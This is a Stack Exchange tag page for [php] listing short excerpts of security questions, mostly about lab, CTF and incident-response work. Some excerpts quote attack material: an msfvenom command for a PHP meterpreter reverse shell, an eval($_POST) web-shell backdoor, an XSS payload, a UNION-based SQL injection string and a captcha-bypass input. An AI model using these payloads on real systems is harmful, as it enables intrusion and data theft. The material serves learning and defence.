Questions tagged [php]
Security aspects concerning code written in the programming language PHP which is often used for web applications.
1,607
questions
3
votes
1
answer
271
views
Why does file traversal not working in this PHP file upload code?
I am using this script to upload file to the system with apache2 as server and php7.
If I provide filename as ../../../../tmp/data.png of uploaded file, then also the file gets uploaded to /var/up/...
- 33
1
vote
0
answers
887
views
PHP reverse shell is not responding back [closed]
I created a php reverse shell using msfvenom utility like:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<MY_IP> LHOST=4444 -f raw > reverse_shell.php
And I created a listener using ...
- 11
3
votes
1
answer
410
views
Does it make sense to have the application block users by IP as well as the firewalls?
I am planning to create a system, but I still have some questions about security. I would like to know if it makes sense to block unauthorized users from accessing the system, through the ip, using a ...
- 43
3
votes
1
answer
185
views
How to create custom exploit https requests to test a PHP framework [closed]
I am working on the auto-routing functionality of Codeigniter 4 and I'd like to test it by sending some nasty exploit-type HTTPS requests to make sure it properly resists mischief. E.g., request a uri ...
- 216
1
vote
2
answers
185
views
How to protect client server app if both: client and server - located on client side?
Frontend communicates to backend.
I am a developer of frontend and backend.
I want to protect my app (prohibit end user from using my app without paying).
The only thing I have in mind is to have some ...
- 111
3
votes
1
answer
220
views
Are there risks in user-uploaded .txt files sent as a string to PHP
I'm not sure if this question is within the scope of security.stackexchange or it would be more suitable on stackoverflow. Let me know if needed.
I'm wetting my feet in PHP, and I've put together a ...
user250841
0
votes
0
answers
83
views
WordPress, a Security Risk for Bitcoin Application?
Asked this question on Bitcoin SE was told to post it here.
I'm developing a custom Bitcoin service. Besides for the core application (which is written in PHP) I'm going to install a blog for updates ...
- 1
0
votes
1
answer
470
views
How password_hash / password_verify can work with any arguments (PHP)
I already know how to use password_verify and password_hash functions, but I don't really understand how they work.
When I use them I do something like that:
$save_hash = password_hash( $password, ...
- 3
3
votes
1
answer
263
views
If a malicious PHP file never appears in the Apache log is it safe to assume it never executed?
I've found a couple of suspicious-looking PHP files on my webserver obfuscated by a substantial block of eval. Ideally, I'd like to know what they do, but I'm struggling to decrypt them.
Everything ...
- 131
0
votes
1
answer
166
views
Using parametrized queries in PHP
I am currently developing a Slack app in PHP.
I'm trying to make the app as secure as possible, that's for sure.
So far, I have done the following:
Verified the requests using signing secrets
Making ...
1
vote
1
answer
325
views
PHP execution with special characters in the end
I was trying to reproduce this vulnerability:
https://www.exploit-db.com/exploits/49294
According to the explanation, it is possible to bypass a check in a Wordpress plugin by appending a special char ...
- 21
1
vote
1
answer
115
views
php / email / iis
in a certain page I have a newsletter subscription form, where the user enters his e-mail address and then through PHP an authenticated e-mail is sent to myself with the user's information (e-mail ...
- 113
9
votes
2
answers
282
views
Do people even exist who actually vet all the updates to their open source software?
A year or so ago, I set up this system which, whenever Composer (that's PHP's packet/library update manager) fetched new updates to my few (but critically required) third-party libraries, created a ...
- 91
0
votes
2
answers
164
views
can i execute javascript in href when i have text before my input?
This is where I took this example from:
<a href="<?php echo $_GET['e'];?>">Back</a>
In this code, I can do http://my_url?e=javascript:alert()
But what can I do if my code ...
- 73
0
votes
1
answer
287
views
Is it possible to setup a phishing “honeypot” for proof-of-concept purposes without getting the host/IP blacklisted?
In the company I work for, we have many clients and the vast majority of them have hosting with us and we make their web apps. One client, though, just applied for cyber security. Our CEH (certified ...
- 103
0
votes
0
answers
146
views
SQL Injection Training challenge including a PHP file
I’m currently trying to get some knowledge in SQL injection. In a pen test environment, there is a challenge on which you get the PHP file and you need to try to login using SQL Injection. I’ve ...
- 11
0
votes
3
answers
256
views
Is my login script secure – how to improve it?
I have a login system for my website that works as follows:
In the database I have a table called users with the fields user, password and authentication_token.
user gets set manually by request in ...
- 101
0
votes
1
answer
155
views
How does a hacker reach a back-end file to exploit it?
I read this post: How does hacking work? and I saw that Chris Dale answered the question with some PHP exploit instructions. However, how does a hacker can read a PHP file (or another back-end file), ...
- 233
2
votes
1
answer
3k
views
Is this script malicious? What does it do? [closed]
I was working with a freelancer from upwork and noticed they added this script titled .default in my config directory. It looks malicious and they were hired to do CSS style changes of elementor:
<...
- 23
1
vote
1
answer
698
views
Why is php-fpm trying to connect somewhere on port 443?
I have nginx and php-fm set up to front a word press site. I used certbot to setup TLS.
When I load any page, I see selinux violations and it looks like php-fpm is trying to reach out to some port ...
- 300
16
votes
1
answer
6k
views
Does a log entry with "SPT=81" despite nothing listening on that port indicate my server is hacked?
I manage a Debian GNU/Linux web server (Debian 10 Buster with its bundled 4.19 kernel). I put in place simple iptables logging rules a long time ago, among other things. Here they are:
# iptables -A ...
- 271
0
votes
1
answer
487
views
How can you find the PHP version a website is using using LFI?
If a website is vulnerable to Local File Inclusion (LFI), how can you use it to find out the PHP version? Is there any file which says the version of PHP being used. I'm trying to do a PHP sessions ...
- 1
1
vote
1
answer
229
views
Is it bad to trust PHP's $_SERVER information?
I want to know if is bad to trust the PHP's global variable $_SERVER values.
I have a scenario that I change between developer and production site, and I have a config.php file. On this file, I check $...
- 153
1
vote
1
answer
2k
views
Can string concatenation in file_get_contents() be exploited in PHP?
Let's say I have the following PHP code:
<?php
echo file_get_contents($_GET['path'] . ".txt");
Obviously, it's insecure as path traversal is possible when passing e.g. ../../file as ...
- 1,144
0
votes
2
answers
607
views
Bypassing htmlentities() for XSS attack
I'm only a beginner so if any more info is needed just request and i'll update the question.
For one of my modules we are covering cross-site scripting and I have been given a series of PHP files that ...
- 3
0
votes
1
answer
161
views
How to trace script injection/infection in php app
This is about a PHP7.4 based shopping platform (opencart (v3.0)).
For testing purposes I had a dummy set up at site.com/xyz. The admin page of that was site.com/xyz/admin. The login and pw for the ...
- 423
-1
votes
1
answer
253
views
Can't bypass filter [closed]
Trying some malicious injection against bWAPP and came across bypass captcha
Filter validating captcha is
if($_POST["captcha_user"] == $_SESSION["captcha"])
Tried input 1' || '2 ...
- 11
0
votes
4
answers
254
views
Can here be SQL Injection
i got till moment when i do not know if it is secure!
If SQL injection is inserted into myTableTwo via safe PDO query will it make my query below SQL injection open? Is the query below safe?
$mysfield ...
- 103
3
votes
2
answers
300
views
Can an empty uploaded file cause any security issues?
The php.net page on the move_uploaded_file() function contains a User Contributed Note which says,
Security tips you must know before use this function:
First: make sure that the file is not empty.
...
- 11.4k
0
votes
0
answers
109
views
Is it bad to let a file be downloaded using its direct path on WordPress?
I have a scenario that I want to let people that visit my WordPress website download some PDFs. These PDFs go to my website as products of the Woocommerce plugin, so they are stored on the folder ...
- 153
0
votes
0
answers
198
views
Handling file uploads securely in phpmailer/php
I have a lengthy HTML form with around 20-26 file uploads required and some of them are even multiple. I am really concerned about how secure it is. I would really like to have some secure solution to ...
- 1
4
votes
0
answers
258
views
How does proper use of session.use_only_cookies and session_regenerate_id() cause personal DoS?
From PHP Session Management basics:
Proper use of session.use_only_cookies and session_regenerate_id() can
cause personal DoS with undeletable cookies set by attackers. In this
case, developers may ...
- 141
1
vote
0
answers
449
views
Exploiting WebDav [closed]
I'm trying to exploit webdav by uploading a msfvenom generated php script to the target webdav server on windows xp machine using the default credentials - wampp(username), xampp(password).
The ...
- 177
1
vote
2
answers
697
views
DVWA - Converting Local File Inclusion to Remote Code Exploitation
I'm reading this blog and it says:
If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written ...
- 626
0
votes
2
answers
1k
views
Can't execute shell i uploaded with cURL
I uploaded a PHP web shell to a site, and to bypass the file upload restriction, I used a .php.jpg extension.
When I open my shell with a web browser, it doesn't execute (confirmed with a packet ...
- 3
0
votes
2
answers
1k
views
SQL Injection update query
I have a sqli and i can dump data from the DB with the query below func=REC&lastid=7491&start=3&uid=56+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat(uid,':',email,':...
- 3
1
vote
1
answer
527
views
Meterpreter Session died [Bwapp]
I just set up a lab with bwapp and wanted to jump straight into webshell.
I used Unrestricted file upload vuln --> uploaded my perfect shell created with msfvenom.
My only problem is that my ...
- 21
4
votes
3
answers
827
views
Break out or bypass php functions
I'm currently doing an online CTF and I have LFI an can read the source code of the upload function. In there I see the following line:
shell_exec('rm -rf ' . directory/ . '*.p*');
So anytime I ...
- 191
0
votes
1
answer
554
views
Security of PHP's str_shuffle()
I'm doing some research on PHP's str_shuffle function, I already asked this question multiply times on StackOverflow but got no answer https://stackoverflow.com/questions/61968859/is-it-possible-to-...
0
votes
0
answers
718
views
Sqlmap not detects error based injection
I am working on Hack the VM (hard machine) for my OSCP preparation
There is a web app with two drop down boxes.. Year and month.. both contain numbers and a submit to fetch data from DB based on year ...
- 43
2
votes
1
answer
774
views
PHP Blind XXE Exploitation: Invalid URI in Entity
When attempting to exploit blind XXE as explained in this article, I got an error in my apache logs:
PHP Warning: DOMDocument::loadXML(): Invalid URI: http://192.168.6.1/82a3ccab632c in Entity
The ...
- 245
0
votes
0
answers
36
views
.php code in .txt file with eval() function [duplicate]
I have found three files with name as below:
a.phpfile.txt
b.phpfile.txt
c.phpfile.txt
when i open, each file contained with the following code:
<?php @eval($_POST[x]);
I have deleted all ...
- 139
1
vote
1
answer
1k
views
Local file inclusion in JS app [closed]
I am working on a project which requires the name of the page as a query parameter 'path'. The app stores path variable as res.query.path. My manager asked me to pay attention to LFI, so I'm concerned ...
- 143
3
votes
2
answers
340
views
Is this method of 32 char hash generation secure enough for online-based attacks?
A fellow developer and I have been having a discussion about how vulnerable a few different methods of developing a hash are, and I've come here to see if smarter people than I (us?) can shed some ...
- 131
1
vote
1
answer
2k
views
Help Understanding PHP Reverse Shells
I have recently done two different hackable VMs and had to take, after reading walkthroughs, two different approaches.
For Fristileaks 1.3, it was simple. I was able to get login credentials to the ...
- 11
1
vote
0
answers
772
views
Identifying Source of Malware Attack on Laravel App
We have a Laravel 5.6.x application running as a REST backend with PHP 7 on one of our servers. The server uses CentOS with WHM/cPanel/PhpMyAdmin
Recently that server issued a maldet warning (our ...
- 11
1
vote
1
answer
245
views
Ways to detect CVE-2017-12419 intrusion
I have a free infinityfree.net web server that was vulnerable to CVE-2017-12419 for quite a big window of time.
After fixing the gap and changing the passwords, what are some ways to detect if the ...
- 3,273
0
votes
1
answer
280
views
Having problems with SQL injection with mysqli extension PHP
I am new to SQL injections, and people on Reddit asked me do the portswigger labs. Which I did up till before 2nd order ones. So I am pretty comfortable with usual SQL injections.
Now I have myself ...
- 1
0
votes
1
answer
247
views
Is there any quick or automated to way to check the version of PHP running on a remote server?
Currently running a vulnerability assessment. However, the IP I was provided is a load balancer and the client only wants to test one of the sites running on the load balancer. The vulnerabilities I ...
- 885
2
votes
1
answer
349
views
Did PHP's rand() get better?
I know that PHP used the system implementation for its rand() function, which is usually a weak LCG or LFSR implementation. Did this change?
In case it still does, I am using Fedora 32.
PHP states in ...
- 1,144